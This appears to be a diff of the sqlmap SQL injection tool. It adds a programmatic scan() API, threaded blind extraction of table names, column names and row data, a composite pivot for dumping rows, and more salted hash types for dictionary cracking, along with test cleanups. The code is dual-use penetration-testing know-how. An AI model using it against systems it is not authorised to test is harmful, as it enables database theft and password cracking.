elif hash_regex in (HASH.JOOMLA, HASH.VBULLETIN, HASH.VBULLETIN_OLD, HASH.OSCOMMERCE_OLD):
item = [(user, hash_), {"salt": hash_.split(':')[-1]}]
elif hash_regex in (HASH.DJANGO_MD5, HASH.DJANGO_SHA1):
item = [(user, hash_), {"salt": hash_.split('$')[1]}]
elif hash_regex in (HASH.DJANGO_PBKDF2_SHA256,):
item = [(user, hash_), {"salt": hash_.split('$')[2], "iterations": int(hash_.split('$')[1])}]
elif hash_regex in (HASH.POSTGRES_SCRAM,):
item = [(user, hash_), {"salt": hash_.split('$')[1].split(':')[1], "iterations": int(hash_.split('$')[1].split(':')[0])}]
elif hash_regex in (HASH.WERKZEUG_PBKDF2,):
item = [(user, hash_), {"salt": hash_.split('$')[1], "iterations": int(hash_.split('$')[0].split(':')[2]), "digestmod": hash_.split('$')[0].split(':')[1]}]
elif hash_regex in (HASH.WERKZEUG_SCRYPT,):
_ = hash_.split('$')[0].split(':')
item = [(user, hash_), {"salt": hash_.split('$')[1], "N": int(_[1]), "r": int(_[2]), "p": int(_[3])}]
elif hash_regex in (HASH.PHPASS,):
if ITOA64.index(hash_[3]) < 32:
item = [(user, hash_), {"salt": hash_[4:12], "count": 1 << ITOA64.index(hash_[3]), "prefix": hash_[:3]}]
@ -1102,7 +1458,7 @@ def dictionaryAttack(attack_dict):
while not kb.wordlists:
# the slowest of all methods hence smaller default dict
if hash_regex in (HASH.ORACLE_OLD, HASH.PHPASS):
if hash_regex in (HASH.ORACLE_OLD, HASH.PHPASS, HASH.SHA256_UNIX_CRYPT, HASH.SHA512_UNIX_CRYPT, HASH.WERKZEUG_SCRYPT, HASH.BCRYPT, HASH.WORDPRESS_BCRYPT, HASH.MYSQL_SHA2):
dictPaths = [paths.SMALL_DICT]
else:
dictPaths = [paths.WORDLIST]

190
lib/utils/library.py Normal file
View file

@ -0,0 +1,190 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
# Library facade for programmatic (in-code) usage: 'import sqlmap; sqlmap.scan(...)'.
#
# This is the code-level sibling of the REST API (lib/utils/api.py): both drive the engine as an
# isolated subprocess for programmatic callers. The public names here are re-exported by sqlmap.py so
# that they are reachable as 'sqlmap.scan', 'sqlmap.scanFromRequest' and 'sqlmap.SqlmapError'.
import json
import os
import sys
import tempfile
__all__ = ["scan", "scanFromRequest", "SqlmapError"]
# Absolute path of the engine entry point (this module lives at <root>/lib/utils/library.py)
SQLMAP_FILE = os.path.join(os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))), "sqlmap.py")
class SqlmapError(Exception):
"""
Raised by the library facade (scan/scanFromRequest) when a scan can not produce a result report
"""
pass
def _terminateProcess(process):
"""
Best-effort hard teardown of a scan subprocess together with its whole process group, so a
timed-out scan never leaves orphaned sqlmap workers behind (POSIX kills the group, others fall
back to killing the process itself)
"""
import signal
try:
if os.name != "nt" and hasattr(os, "killpg"):
os.killpg(os.getpgid(process.pid), getattr(signal, "SIGKILL", signal.SIGTERM))
else:
process.kill()
except (OSError, AttributeError):
try:
process.kill()
except (OSError, AttributeError):
pass
def scan(url=None, requestFile=None, timeout=None, outputDir=None, raw=None, **options):
"""
Runs a sqlmap scan in a dedicated subprocess and returns its structured result (library usage).
Keyword options are plain sqlmap option names - exactly the names used in a sqlmap configuration
file (data/sqlmap.conf) and by the REST API, i.e. the 'conf' names, NOT command line switches. So
scan(url, technique="BEU", getBanner=True, dumpTable=True, tbl="users", level=3) is equivalent to
the config file lines 'technique = BEU', 'getBanner = True', 'dumpTable = True', 'tbl = users',
'level = 3'. Unknown names are rejected. The scan is driven through a generated config file passed
with '-c' (the same mechanism the REST API uses), so there is a single option namespace and no
argument escaping. 'raw' takes a list of extra raw command line switches for the rare thing not
expressible as a config option (e.g. raw=["--fresh-queries"]).
The engine runs fully out-of-process, so a scan can never affect the calling process (no shared
global state, no HTTP-stack patching, no risk of the host being exited). The return value is the
parsed '--report-json' report - the same structure as the REST API '/scan/<id>/data' response: a
dict with keys 'success', 'data' (a list of {'type_name', 'value'} entries: TARGET, TECHNIQUES,
BANNER, DUMP_TABLE, ...), 'error' and 'meta'.
scan() is blocking and thread-safe, so it is both thread- and asyncio-ready: run several at once
in threads, or from an event loop with 'await loop.run_in_executor(None, functools.partial(scan,
url, dumpTable=True))'. For unattended/concurrent use the run is hardened like the REST API
subprocess: batch mode (never prompts) with stdin closed, isolated file descriptors, its own
output directory (so parallel scans of the same target can not collide on session/dump files and
nothing accumulates on disk), engine output streamed to a temporary file rather than buffered in
memory, and - when 'timeout' is set - the whole subprocess group is torn down on expiry. Pass
'outputDir' to keep the run's files.
Example:
import sqlmap
result = sqlmap.scan("http://target/vuln.php?id=1", dumpTable=True, tbl="users")
"""
import shutil
import subprocess
import time
from lib.core.common import saveConfig
from lib.core.optiondict import optDict
if not (url or requestFile):
raise SqlmapError("scan() requires either 'url' or 'requestFile'")
if not os.path.isfile(SQLMAP_FILE):
raise SqlmapError("could not locate the sqlmap engine ('%s')" % SQLMAP_FILE)
knownOptions = set()
for family in optDict.values():
knownOptions.update(family)
config = {}
if url:
config["url"] = url
if requestFile:
config["requestFile"] = requestFile
config.update(options)
unknown = [_ for _ in config if _ not in knownOptions]
if unknown:
raise SqlmapError("unknown option(s) %s - scan() expects sqlmap option names as used in a configuration file (e.g. getBanner, dumpTable, tbl, technique, level), not command line switches" % ", ".join(repr(_) for _ in sorted(unknown)))
handle, report = tempfile.mkstemp(prefix="sqlmap-", suffix=".json")
os.close(handle)
# Each run gets its own output directory so concurrent scans can not collide on session/dump files
# and no scan state piles up on disk. A caller-provided 'outputDir' is respected and left in place.
ownOutput = not outputDir
if ownOutput:
outputDir = tempfile.mkdtemp(prefix="sqlmap-output-")
# engine plumbing goes through the very same option namespace
config["batch"] = True
config["disableColoring"] = True
config["outputDir"] = outputDir
config["reportJson"] = report
handle, configFile = tempfile.mkstemp(prefix="sqlmap-", suffix=".conf")
os.close(handle)
saveConfig(config, configFile)
argv = [sys.executable or "python", SQLMAP_FILE, "-c", configFile, "--ignore-stdin"]
if raw:
argv += list(raw)
logHandle, logFile = tempfile.mkstemp(prefix="sqlmap-", suffix=".log")
devnull = open(os.devnull, "rb")
kwargs = {"shell": False, "close_fds": os.name != "nt", "cwd": os.path.dirname(SQLMAP_FILE) or '.', "stdin": devnull, "stdout": logHandle, "stderr": subprocess.STDOUT}
if os.name == "nt":
kwargs["creationflags"] = getattr(subprocess, "CREATE_NEW_PROCESS_GROUP", 0)
elif sys.version_info >= (3, 2):
kwargs["start_new_session"] = True # own process group -> clean group teardown
else:
kwargs["preexec_fn"] = os.setsid
process = None
try:
process = subprocess.Popen(argv, **kwargs)
if timeout is None:
process.wait()
else:
end = time.time() + timeout
while process.poll() is None:
if time.time() > end:
_terminateProcess(process)
process.wait()
raise SqlmapError("scan timed out after %s second(s)" % timeout)
time.sleep(0.5)
try:
with open(report, "rb") as f:
return json.loads(f.read().decode("utf-8", "replace"))
except (IOError, OSError, ValueError):
try:
with open(logFile, "rb") as f:
tail = f.read().decode("utf-8", "replace").strip()
except (IOError, OSError):
tail = ""
raise SqlmapError("scan did not produce a valid report (exit code %s)\n%s" % (getattr(process, "returncode", None), tail[-1000:]))
finally:
try:
os.close(logHandle)
except OSError:
pass
devnull.close()
for path in (report, logFile, configFile):
try:
os.remove(path)
except OSError:
pass
if ownOutput:
shutil.rmtree(outputDir, ignore_errors=True)
def scanFromRequest(requestFile, **options):
"""
Convenience wrapper for scan(requestFile=...) - runs a scan from a saved HTTP request file ('-r')
"""
return scan(requestFile=requestFile, **options)

View file

@ -45,6 +45,7 @@ def pivotDumpTable(table, colList, count=None, blind=True, alias=None):
validColumnList = False
validPivotValue = False
compositePivot = None
if count is None:
query = dumpNode.count % table
@ -118,6 +119,26 @@ def pivotDumpTable(table, colList, count=None, blind=True, alias=None):
errMsg = "all provided column name(s) are non-existent"
raise SqlmapNoneDataException(errMsg)
if not validPivotValue:
# No single column holds all-distinct values. Fall back to a COMPOSITE pivot (a
# concatenation of every column) whose combined value is unique per row, so rows sharing
# a value in every individual column are no longer silently dropped (ref: #1545).
_composite = agent.concatQuery(','.join(colList))
query = dumpNode.count2 % (_composite, table)
query = agent.whereQuery(query)
value = inject.getValue(query, blind=blind, union=not blind, error=not blind, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
if isNumPosStrValue(value) and int(value) == count:
infoMsg = "using a concatenation of all columns as a "
infoMsg += "composite pivot for retrieving row data"
logger.info(infoMsg)
compositePivot = _composite
lengths[compositePivot] = 0
entries[compositePivot] = BigArray()
colList.insert(0, compositePivot)
validPivotValue = True
if not validPivotValue:
warnMsg = "no proper pivot column provided (with unique values)."
warnMsg += " It won't be possible to retrieve all rows"
@ -186,4 +207,9 @@ def pivotDumpTable(table, colList, count=None, blind=True, alias=None):
logger.critical(errMsg)
# The composite pivot is a synthetic paging key, not a real column - drop it from the output
if compositePivot is not None:
entries.pop(compositePivot, None)
lengths.pop(compositePivot, None)
return entries, lengths

View file

@ -401,26 +401,39 @@ class Databases(object):
plusOne = Backend.getIdentifiedDbms() in PLUS_ONE_DBMSES
indexRange = getLimitRange(count, plusOne=plusOne)
for index in indexRange:
if Backend.isDbms(DBMS.SYBASE):
query = _query % (db, (kb.data.cachedTables[-1] if kb.data.cachedTables else " "))
elif Backend.getIdentifiedDbms() in (DBMS.MAXDB, DBMS.ACCESS, DBMS.MCKOI, DBMS.EXTREMEDB):
query = _query % (kb.data.cachedTables[-1] if kb.data.cachedTables else " ")
elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD):
query = _query % index
elif Backend.getIdentifiedDbms() in (DBMS.HSQLDB, DBMS.INFORMIX, DBMS.FRONTBASE, DBMS.VIRTUOSO):
query = _query % (index, unsafeSQLIdentificatorNaming(db))
elif Backend.getIdentifiedDbms() in (DBMS.SPANNER,):
query = _query % (unsafeSQLIdentificatorNaming(db), unsafeSQLIdentificatorNaming(db), index)
else:
query = _query % (unsafeSQLIdentificatorNaming(db), index)
# Value-parallel, prediction-assisted name enumeration for the DBMSes using the
# generic "<db>, <index>" blind template. Retrieves whole names concurrently (one per
# worker, each decoded sequentially so wordlist prediction applies). Used only with
# '--threads' (like getColumns below); single-thread stays on the classic getValue loop,
# which still gets predictive inference via getPartRun. The special templates stay serial.
genericTemplate = Backend.getIdentifiedDbms() not in (DBMS.SYBASE, DBMS.MAXDB, DBMS.ACCESS, DBMS.MCKOI, DBMS.EXTREMEDB, DBMS.SQLITE, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.INFORMIX, DBMS.FRONTBASE, DBMS.VIRTUOSO, DBMS.SPANNER)
table = unArrayizeValue(inject.getValue(query, union=False, error=False))
if genericTemplate and conf.threads > 1 and isTechniqueAvailable(PAYLOAD.TECHNIQUE.BOOLEAN):
for table in (inject._threadedInferenceValues(lambda index: _query % (unsafeSQLIdentificatorNaming(db), index), indexRange, context="Tables") or []):
if not isNoneValue(table):
kb.hintValue = table
tables.append(safeSQLIdentificatorNaming(table, True))
else:
for index in indexRange:
if Backend.isDbms(DBMS.SYBASE):
query = _query % (db, (kb.data.cachedTables[-1] if kb.data.cachedTables else " "))
elif Backend.getIdentifiedDbms() in (DBMS.MAXDB, DBMS.ACCESS, DBMS.MCKOI, DBMS.EXTREMEDB):
query = _query % (kb.data.cachedTables[-1] if kb.data.cachedTables else " ")
elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD):
query = _query % index
elif Backend.getIdentifiedDbms() in (DBMS.HSQLDB, DBMS.INFORMIX, DBMS.FRONTBASE, DBMS.VIRTUOSO):
query = _query % (index, unsafeSQLIdentificatorNaming(db))
elif Backend.getIdentifiedDbms() in (DBMS.SPANNER,):
query = _query % (unsafeSQLIdentificatorNaming(db), unsafeSQLIdentificatorNaming(db), index)
else:
query = _query % (unsafeSQLIdentificatorNaming(db), index)
if not isNoneValue(table):
kb.hintValue = table
table = safeSQLIdentificatorNaming(table, True)
tables.append(table)
table = unArrayizeValue(inject.getValue(query, union=False, error=False))
if not isNoneValue(table):
kb.hintValue = table
table = safeSQLIdentificatorNaming(table, True)
tables.append(table)
if tables:
kb.data.cachedTables[db] = tables
@ -841,7 +854,7 @@ class Databases(object):
logger.error(errMsg)
continue
for index in getLimitRange(count):
def columnNameQuery(index):
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, DBMS.FRONTBASE, DBMS.VIRTUOSO):
query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db))
query += condQuery
@ -880,8 +893,22 @@ class Databases(object):
query += condQuery
field = condition
query = agent.limitQuery(index, query, field, field)
column = unArrayizeValue(inject.getValue(query, union=False, error=False))
return agent.limitQuery(index, query, field, field)
indexList = list(getLimitRange(count))
# Value-parallel column-NAME enumeration: the same axis/mechanism as getTables (one name per
# worker, decoded sequentially - no length probe, predictive inference applies, names stream
# live). Serial fallback for single-thread and when also fetching per-column comments.
columnNames = None
if conf.threads > 1 and not conf.getComments and isTechniqueAvailable(PAYLOAD.TECHNIQUE.BOOLEAN):
columnNames = inject._threadedInferenceValues(columnNameQuery, indexList, context="Columns")
for position, index in enumerate(indexList):
if columnNames is not None:
column = unArrayizeValue(columnNames[position])
else:
column = unArrayizeValue(inject.getValue(columnNameQuery(index), union=False, error=False))
if not isNoneValue(column):
if conf.getComments:

View file

@ -418,41 +418,70 @@ class Entries(object):
debugMsg += "dumped as it appears to be empty"
logger.debug(debugMsg)
def cellQuery(column, index):
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.CLICKHOUSE, DBMS.SNOWFLAKE, DBMS.SPANNER):
query = rootQuery.blind.query % (agent.preprocessField(tbl, column), conf.db, conf.tbl, prioritySortColumns(colList)[0], index)
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE,):
query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())), index)
elif Backend.getIdentifiedDbms() in (DBMS.MIMERSQL,):
query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())), prioritySortColumns(colList)[0], index)
elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.EXTREMEDB):
query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl, index)
elif Backend.isDbms(DBMS.FIREBIRD):
query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), tbl)
elif Backend.getIdentifiedDbms() in (DBMS.INFORMIX, DBMS.VIRTUOSO):
query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), conf.db, tbl, prioritySortColumns(colList)[0])
elif Backend.isDbms(DBMS.FRONTBASE):
query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), conf.db, tbl)
else:
query = rootQuery.blind.query % (agent.preprocessField(tbl, column), conf.db, tbl, index)
return agent.whereQuery(query)
try:
for index in indexRange:
# Value-parallel dumping: one whole cell per worker, decoded sequentially, so there
# is NO per-cell LENGTH() probe (the position-parallel path needs one to split a
# value's characters across threads) and the per-column Huffman model + low-cardinality
# guessing engage under concurrency. Used for the boolean channel with '--threads'; the
# classic per-character-parallel loop stays for single-thread and time-based.
if conf.threads > 1 and not conf.dnsDomain and isTechniqueAvailable(PAYLOAD.TECHNIQUE.BOOLEAN):
# One value-parallel pass over every (non-empty) cell, so there is a single
# thread pool and values stream live as they complete - out of order, exactly
# like the error/union dumps - instead of a silent progress counter.
nonEmpty = [_ for _ in colList if _ not in emptyColumns]
tasks = [(column, index) for column in nonEmpty for index in indexRange]
retrieved = inject._threadedInferenceValues(lambda pair: cellQuery(pair[0], pair[1]), tasks, charsetType=None, dump=True) if tasks else []
retrieved = retrieved if retrieved is not None else [None] * len(tasks)
offset = 0
for column in colList:
value = ""
entries[column] = BigArray()
lengths.setdefault(column, 0)
if column not in lengths:
lengths[column] = 0
if column not in entries:
entries[column] = BigArray()
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.CLICKHOUSE, DBMS.SNOWFLAKE, DBMS.SPANNER):
query = rootQuery.blind.query % (agent.preprocessField(tbl, column), conf.db, conf.tbl, prioritySortColumns(colList)[0], index)
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE,):
query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())), index)
elif Backend.getIdentifiedDbms() in (DBMS.MIMERSQL,):
query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())), prioritySortColumns(colList)[0], index)
elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.EXTREMEDB):
query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl, index)
elif Backend.isDbms(DBMS.FIREBIRD):
query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), tbl)
elif Backend.getIdentifiedDbms() in (DBMS.INFORMIX, DBMS.VIRTUOSO):
query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), conf.db, tbl, prioritySortColumns(colList)[0])
elif Backend.isDbms(DBMS.FRONTBASE):
query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), conf.db, tbl)
if column in emptyColumns:
values = [NULL] * len(indexRange)
else:
query = rootQuery.blind.query % (agent.preprocessField(tbl, column), conf.db, tbl, index)
values = retrieved[offset:offset + len(indexRange)]
offset += len(indexRange)
query = agent.whereQuery(query)
for value in values:
value = '' if value is None else value
lengths[column] = max(lengths[column], getConsoleLength(DUMP_REPLACEMENTS.get(getUnicode(value), getUnicode(value))))
entries[column].append(value)
else:
for index in indexRange:
for column in colList:
if column not in lengths:
lengths[column] = 0
value = NULL if column in emptyColumns else inject.getValue(query, union=False, error=False, dump=True)
value = '' if value is None else value
if column not in entries:
entries[column] = BigArray()
lengths[column] = max(lengths[column], getConsoleLength(DUMP_REPLACEMENTS.get(getUnicode(value), getUnicode(value))))
entries[column].append(value)
value = NULL if column in emptyColumns else inject.getValue(cellQuery(column, index), union=False, error=False, dump=True)
value = '' if value is None else value
lengths[column] = max(lengths[column], getConsoleLength(DUMP_REPLACEMENTS.get(getUnicode(value), getUnicode(value))))
entries[column].append(value)
except KeyboardInterrupt:
kb.dumpKeyboardInterrupt = True

View file

@ -55,7 +55,7 @@ try:
from lib.core.common import banner
from lib.core.common import checkPipedInput
from lib.core.common import checkSums
from lib.core.common import codeIsModified
from lib.core.common import createGithubIssue
from lib.core.common import dataToStdout
from lib.core.common import extractRegexResult
@ -192,6 +192,9 @@ def main():
elif conf.vulnTest:
from lib.core.testing import vulnTest
os._exitcode = 1 - (vulnTest() or 0)
elif conf.fpTest:
from lib.core.testing import fpTest
os._exitcode = 1 - (fpTest() or 0)
elif conf.apiTest:
from lib.core.testing import apiTest
os._exitcode = 1 - (apiTest() or 0)
@ -279,7 +282,7 @@ def main():
print()
errMsg = unhandledExceptionMessage()
excMsg = traceback.format_exc()
valid = checkSums()
valid = not codeIsModified()
os._exitcode = 255
@ -607,7 +610,7 @@ def main():
except OSError:
pass
if any((conf.vulnTest, conf.smokeTest, conf.apiTest)) or not filterNone(filepath for filepath in glob.glob(os.path.join(tempDir, '*')) if not any(filepath.endswith(_) for _ in (".lock", ".exe", ".so", '_'))): # ignore junk files
if any((conf.vulnTest, conf.fpTest, conf.smokeTest, conf.apiTest)) or not filterNone(filepath for filepath in glob.glob(os.path.join(tempDir, '*')) if not any(filepath.endswith(_) for _ in (".lock", ".exe", ".so", '_'))): # ignore junk files
try:
shutil.rmtree(tempDir, ignore_errors=True)
except OSError:
@ -661,3 +664,9 @@ if __name__ == "__main__":
else:
# cancelling postponed imports (because of CI/CD checks)
__import__("lib.controller.controller")
# exposing the programmatic library facade as 'sqlmap.scan()' / 'sqlmap.scanFromRequest()'
from lib.utils.library import scan, scanFromRequest, SqlmapError
# public library API (also marks the re-exported names above as intentional for pyflakes)
__all__ = ["scan", "scanFromRequest", "SqlmapError"]

View file

@ -216,7 +216,7 @@ paths:
value:
success: true
options:
url: "http://testasp.vulnweb.com/showforum.asp?id=1"
url: "https://sekumart.sekuripy.hr/product.php?id=1"
batch: true
threads: 1
invalidTask:
@ -257,7 +257,7 @@ paths:
value:
success: true
options:
url: "http://testasp.vulnweb.com/showforum.asp?id=1"
url: "https://sekumart.sekuripy.hr/product.php?id=1"
cookie: "id=1"
unknownOption:
value:
@ -290,7 +290,7 @@ paths:
cookie: "id=1"
setTarget:
value:
url: "http://testasp.vulnweb.com/showforum.asp?id=1"
url: "https://sekumart.sekuripy.hr/product.php?id=1"
responses:
"200":
description: Options set, or an API-level failure envelope.
@ -341,7 +341,7 @@ paths:
examples:
basicUrlScan:
value:
url: "http://testasp.vulnweb.com/showforum.asp?id=1"
url: "https://sekumart.sekuripy.hr/product.php?id=1"
responses:
"200":
description: Scan started, or an API-level failure envelope.
@ -568,7 +568,7 @@ paths:
description: Target output-directory name.
schema:
type: string
example: testasp.vulnweb.com
example: sekumart.sekuripy.hr
- name: filename
in: path
required: true
@ -788,7 +788,7 @@ components:
additionalProperties:
$ref: "#/components/schemas/OptionValue"
example:
url: "http://testasp.vulnweb.com/showforum.asp?id=1"
url: "https://sekumart.sekuripy.hr/product.php?id=1"
cookie: "id=1"
batch: true
threads: 1

View file

@ -98,6 +98,22 @@ def set_dbms(name):
Backend.forceDbms(name)
def reset_dbms():
"""Clear any DBMS forced via set_dbms()/Backend, restoring the clean post-bootstrap state.
A forced DBMS lives on the global `kb` singleton and is read by every dialect/agent path, so a
module that forces one without clearing it would leak that back-end into later test modules
(order-dependent flakiness). Modules that call set_dbms() should expose this as their
`tearDownModule` so the leak can never cross a module boundary.
"""
from lib.core.common import Backend
from lib.core.data import kb
from lib.core.settings import UNKNOWN_DBMS_VERSION
Backend.flushForcedDbms(force=True) # kb.forcedDbms = None; kb.stickyDBMS = False
kb.resolutionDbms = None
kb.dbmsVersion = [UNKNOWN_DBMS_VERSION]
# --- property/fuzz testing harness (shared so individual test files don't each reinvent it) ---
_PROPERTY_BASE = 0x51A1

View file

@ -34,7 +34,7 @@ import sys
import unittest
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
from _testutils import bootstrap, set_dbms
from _testutils import bootstrap, set_dbms, reset_dbms
bootstrap()
from lib.core.agent import agent
@ -766,3 +766,7 @@ class TestAgentWhereQuery(unittest.TestCase):
if __name__ == "__main__":
unittest.main(verbosity=2)
def tearDownModule():
reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules

View file

@ -86,6 +86,7 @@ class _ApiServerCase(unittest.TestCase):
"""
def setUp(self):
self._saved_batch = conf.batch
conf.batch = True
# snapshot mutated globals
@ -122,6 +123,7 @@ class _ApiServerCase(unittest.TestCase):
api.DataStore.username = self._saved["username"]
api.DataStore.password = self._saved["password"]
api.Database.filepath = self._saved["filepath"]
conf.batch = self._saved_batch
def _new_task(self):
code, parsed, _ = _wsgi_call("GET", "/task/new")

View file

@ -28,14 +28,26 @@ from lib.core.bigarray import BigArray
N = 5000
_SPILLED = []
def _make_spilled():
# tiny chunk_size guarantees many on-disk chunks for N items
ba = BigArray(chunk_size=1024)
for i in range(N):
ba.append("item-%d" % i)
_SPILLED.append(ba) # tracked so tearDownModule closes it (release the on-disk chunk files)
return ba
def tearDownModule():
for ba in _SPILLED:
try:
ba.close()
except Exception:
pass
del _SPILLED[:]
class TestSpill(unittest.TestCase):
def test_actually_spilled_to_disk(self):
ba = _make_spilled()

View file

@ -22,7 +22,7 @@ import sys
import unittest
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
from _testutils import bootstrap, set_dbms
from _testutils import bootstrap, set_dbms, reset_dbms
bootstrap()
from lib.core.data import conf, kb
@ -196,3 +196,7 @@ class TestBrute(DbmsStateMixin, unittest.TestCase):
if __name__ == "__main__":
unittest.main(verbosity=2)
def tearDownModule():
reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules

View file

@ -53,9 +53,10 @@ _CONF_KEYS = (
"notString", "regexp", "regex", "dummy", "offline", "skipWaf", "data",
"hashDB", "cj", "cookie", "dropSetCookie", "httpHeaders", "proxy", "tor",
"tamper", "timeout", "retries", "textOnly", "ignoreCode", "disablePrecon",
"ipv6", "multipleTargets", "level", "base64Parameter", "batch",
"ipv6", "multipleTargets", "level", "base64Parameter", "batch", "code", "titles",
)
_KB_KEYS = (
"pageTemplate", "negativeLogic",
"heavilyDynamic", "dynamicParameter", "originalPage", "originalPageTime",
"originalCode", "ignoreCasted", "heuristicMode", "disableHtmlDecoding",
"heuristicTest", "heuristicPage", "heuristicCode", "pageStable",

View file

@ -19,14 +19,16 @@ irrelevant. Temp files go to the session scratchpad and are removed.
stdlib unittest only (no pytest / no pip); works on Python 2.7 and 3.x.
"""
import atexit
import base64
import os
import shutil
import sys
import tempfile
import unittest
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
from _testutils import bootstrap, set_dbms
from _testutils import bootstrap, set_dbms, reset_dbms
bootstrap()
from lib.core.data import conf, kb, paths
@ -119,7 +121,8 @@ from lib.core.common import (
zeroDepthSearch,
)
SCRATCH = "/tmp/claude-1000/-tmp-tmp-oUnlQJzlQN/fcd55d25-6313-49ed-817e-dcbe7fc2bf22/scratchpad"
SCRATCH = tempfile.mkdtemp(prefix="sqlmap-tests-") # per-run temp dir (portable; replaces a stale hardcoded path)
atexit.register(lambda: shutil.rmtree(SCRATCH, ignore_errors=True))
def _write_temp(content, suffix):
@ -1317,10 +1320,9 @@ class TestCommonChunkSplit(unittest.TestCase):
random.choice, random.randint, random.sample, random.seed = _saved
def test_chunk_split_terminator(self):
import random
from lib.core.common import chunkSplitPostData
random.seed(123)
# regardless of content, the chunked stream must end with the zero-length terminator
# (assertion is seed-independent, so don't touch the global RNG)
self.assertTrue(chunkSplitPostData("abc").endswith("0\r\n\r\n"))
@ -1714,3 +1716,7 @@ class TestCheckOldOptions(unittest.TestCase):
if __name__ == "__main__":
unittest.main(verbosity=2)
def tearDownModule():
reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules

View file

@ -21,7 +21,7 @@ import sys
import unittest
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
from _testutils import bootstrap, set_dbms
from _testutils import bootstrap, set_dbms, reset_dbms
bootstrap()
@ -61,7 +61,7 @@ class _BaseEnumTest(unittest.TestCase):
# conf keys every test may read/write
_CONF_KEYS = ("direct", "technique", "db", "tbl", "col", "exclude",
"getComments", "excludeSysDbs", "search", "freshQueries")
"getComments", "excludeSysDbs", "search", "freshQueries", "threads")
def setUp(self):
self._saved_conf = {k: conf.get(k) for k in self._CONF_KEYS}
@ -117,6 +117,7 @@ class _BaseEnumTest(unittest.TestCase):
"""Take the blind inference branch: conf.direct off, a BOOLEAN technique present."""
conf.direct = False
conf.technique = None
conf.threads = 1 # exercise the serial getValue() path these tests mock (>1 takes the value-parallel branch)
kb.injection.data = {PAYLOAD.TECHNIQUE.BOOLEAN: {"title": "AND boolean-based blind"}}
@ -533,7 +534,7 @@ class TestGetProcedures(_BaseEnumTest):
class _DbBase(unittest.TestCase):
_CONF_KEYS = ("direct", "technique", "db", "tbl", "col", "exclude",
"getComments", "excludeSysDbs", "search", "freshQueries")
"getComments", "excludeSysDbs", "search", "freshQueries", "threads")
def setUp(self):
self._saved_conf = {k: conf.get(k) for k in self._CONF_KEYS}
@ -588,6 +589,7 @@ class _DbBase(unittest.TestCase):
def _inference(self):
conf.direct = False
conf.technique = None
conf.threads = 1 # exercise the serial getValue() path these tests mock (>1 takes the value-parallel branch)
kb.injection.data = {PAYLOAD.TECHNIQUE.BOOLEAN: {"title": "AND boolean-based blind"}}
@ -765,3 +767,7 @@ class TestDatabasesBruteForce(_DbBase):
if __name__ == "__main__":
unittest.main()
def tearDownModule():
reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules

View file

@ -24,7 +24,7 @@ import sys
import unittest
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
from _testutils import bootstrap, set_dbms
from _testutils import bootstrap, set_dbms, reset_dbms
bootstrap()
from lib.core.common import Backend
@ -720,3 +720,7 @@ class TestHSQLDBEnum(_EnumBaseB):
if __name__ == "__main__":
unittest.main()
def tearDownModule():
reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules

View file

@ -20,7 +20,7 @@ import sys
import unittest
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
from _testutils import bootstrap, set_dbms
from _testutils import bootstrap, set_dbms, reset_dbms
bootstrap()
from lib.core.agent import agent
@ -105,3 +105,7 @@ class TestForgeUnionQuery(unittest.TestCase):
if __name__ == "__main__":
unittest.main(verbosity=2)
def tearDownModule():
reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules

View file

@ -4,13 +4,13 @@
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
